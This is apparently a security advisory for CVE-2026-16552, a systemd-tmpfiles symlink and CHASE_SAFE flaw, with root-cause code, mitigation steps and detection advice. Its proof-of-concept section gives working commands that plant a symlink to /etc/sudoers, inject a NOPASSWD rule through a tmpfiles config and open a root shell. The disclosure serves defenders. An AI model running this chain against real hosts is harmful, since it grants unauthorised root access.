EresusSecurity
Back to Advisories
CVE-2026-16552ModerateCVSS: 6.3

systemd-tmpfiles Symlink Following + CHASE_SAFE Root Exception: Local Privilege Escalation to Root

Disclosed: 2026-07-22

Summary

Eresus Security identified and reported a local privilege escalation chain in systemd-tmpfiles, tracked as CVE-2026-16552 (CVSS 3.1: 6.3 Moderate, AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H, CWE-59: Improper Link Resolution Before File Access). Two independent bugs combine to let an unprivileged local user redirect a root-owned file write into a file of their choosing, by placing a symlink inside their own /run/user/<uid> runtime directory.

The demonstrated impact is full local root: injecting a passwordless NOPASSWD rule into /etc/sudoers and dropping into a root shell, without any credentials beyond an existing unprivileged local session.

Red Hat Product Security confirmed the mechanism, assigned CVE-2026-16552, and credited Eresus Security as the reporter. The case is now closed and the CVE is public on NVD and the Red Hat CVE database.

Affected component

  • Component: systemd-tmpfiles
  • Root cause present unconditionally on all versions carrying the CHASE_SAFE root-transition exception described below.
  • RHEL 7 and RHEL 8 systemd releases were also checked and produce the same outcome, but because they predate the CHASE_SAFE transition-safety mechanism entirely rather than containing the same narrow exception.
  • Verified working proof-of-concept on Ubuntu 26.04 (systemd 259) and Arch Linux (systemd 261, at commit b0241a3 on main).

Root cause

Two bugs chain together.

Bug 1 — missing O_NOFOLLOW, src/tmpfiles/tmpfiles.c:2007. write_one_file() opens w-type tmpfiles.d targets without O_NOFOLLOW:

int flags = O_NONBLOCK | O_CLOEXEC | O_WRONLY | O_NOCTTY
            | i->append_or_force * O_APPEND | arg_dry_run * O_PATH;
fd = openat(dir_fd, bn, flags, i->mode);

The comment directly above the call reads "Follow symlinks." If dir_fd points into attacker-controlled space and bn resolves to a symlink, the root-owned process opens and writes through the symlink to its target — wherever that target is.

Bug 2 — the CHASE_SAFE root exception, src/basic/chase.c:161. uid_unsafe_transition() is supposed to flag directory walks that cross from a more-privileged owner to a less-privileged one — exactly the condition CHASE_SAFE exists to catch. It unconditionally treats any transition away from UID 0 as safe:

static bool uid_unsafe_transition(uid_t a, uid_t b) {
    if (a == 0)   /* root->anything treated as safe */
        return false;
    return a != b;
}

The exception is there so root can traverse root-owned system directories without tripping false positives. It is too broad: it also suppresses detection of the one transition CHASE_SAFE is explicitly meant to catch — root walking into a directory owned by an unprivileged user. Isolated testing confirmed the asymmetry directly: constructing the same ownership transition between two non-root users is correctly detected and blocked with an explicit warning; the identical transition starting from root is not.

Combined effect. path_open_parent_safe() (tmpfiles.c:1087) calls chase() with CHASE_SAFE to resolve a dir_fd for the parent directory before write_one_file() runs. Bug 2 silently approves the walk from the root-owned /run/user/ into the user-owned /run/user/<uid>/. Bug 1 then follows any symlink the unprivileged user placed inside that directory, without complaint.

What the unprivileged user does and does not control

The unprivileged user chooses which root-owned file is written to, by placing the symlink. They do not choose what gets written — the content comes from the pre-existing tmpfiles.d configuration entry, unless they separately already have write access to that configuration. Red Hat's own review of every tmpfiles.d entry shipped in RHEL found exactly one w-type entry, targeting a path under /sys/fs/selinux/ — a kernel-controlled filesystem where every path component is root-owned with no non-root write access, so it does not itself provide an exploitation path on stock RHEL. Exposure depends on what w-type entries exist on a given system: enterprise deployments using configuration-management tooling (Ansible, Puppet) that provision per-user runtime paths, or systems where users have write access to /run/tmpfiles.d/, are the realistic exposure cases.

Proof of concept

# 1. plant symlink in user runtime dir (fully unprivileged)
ln -s /etc/sudoers /run/user/1000/pwntarget

# 2. write tmpfiles config
# w+ = O_APPEND, preserves existing sudoers content
# \n is unescaped by cunescape() at tmpfiles.c:3693
printf 'w+ /run/user/1000/pwntarget - - - - \\nattacker ALL=(ALL:ALL) NOPASSWD: ALL\\n\n' \
    > /tmp/pwn.conf

# 3. root runs tmpfiles (boot service, timer, or admin trigger)
systemd-tmpfiles --create /tmp/pwn.conf

# 4. root shell
sudo /bin/bash
# uid=0(root)

/run/user/<uid> is created automatically by logind for any active session, or via loginctl enable-linger, so the precondition is met by ordinary session activity — no special setup is required beyond a tmpfiles.d entry that targets a path inside it.

Impact

Any local unprivileged user on an affected system can write arbitrary content to a root-owned file whenever a tmpfiles.d configuration processes a path inside their own runtime directory. Demonstrated impact is full local privilege escalation to root, via /etc/sudoers injection, without credentials. The underlying code defect is present unconditionally on affected versions regardless of the deployed tmpfiles.d configuration — actual exploitability on a given host depends on whether that host's configuration contains a reachable w-type entry, which is a fleet-specific question, not a package-version question.

Mitigation guidance

  1. Apply the vendor fix for CVE-2026-16552 once available for your distribution; track your distribution's own advisory for the exact patched package version.
  2. Audit every w-type tmpfiles.d entry on your fleet (grep -rE '^w' /usr/lib/tmpfiles.d/ /etc/tmpfiles.d/ /run/tmpfiles.d/ 2>/dev/null) and confirm none target a path that resolves through a user-writable directory, including indirectly via a directory a user's runtime path could symlink into.
  3. Restrict write access to /run/tmpfiles.d/ to trusted/administrative principals only — configuration-management tooling that provisions per-user runtime paths there is a direct exposure vector.
  4. Where feasible, avoid w-type entries that write to sensitive targets (/etc/sudoers, credential stores, authentication configuration) as a matter of policy, independent of this specific bug.
  5. Do not treat "root-to-anything is safe" as a valid assumption in any custom path-chasing or privilege-transition logic you maintain elsewhere — this bug class generalises beyond systemd-tmpfiles to any code that walks a path across a root-to-unprivileged ownership boundary without re-checking safety at each hop.

Detection considerations

  • Monitor /run/user/<uid>/ for unexpected symlinks pointing outside the user's own writable space, particularly toward /etc/, credential stores, or authentication configuration.
  • Alert on systemd-tmpfiles runs (boot, timers, or manual triggers) immediately followed by modification of /etc/sudoers, /etc/passwd, /etc/shadow, or SSH authorized-keys files, where the modifying process context doesn't match expected configuration-management activity.
  • Review tmpfiles.d drop-in directories for w-type entries added outside of change-managed deployment — an attacker with existing write access to /run/tmpfiles.d/ can introduce a malicious entry directly rather than relying on a pre-existing one.

Credit

Discovered and reported by İbrahim Sağlam, Eresus Security. Confirmed and assigned by Red Hat Product Security (case PSIRTSUPT-17699).

References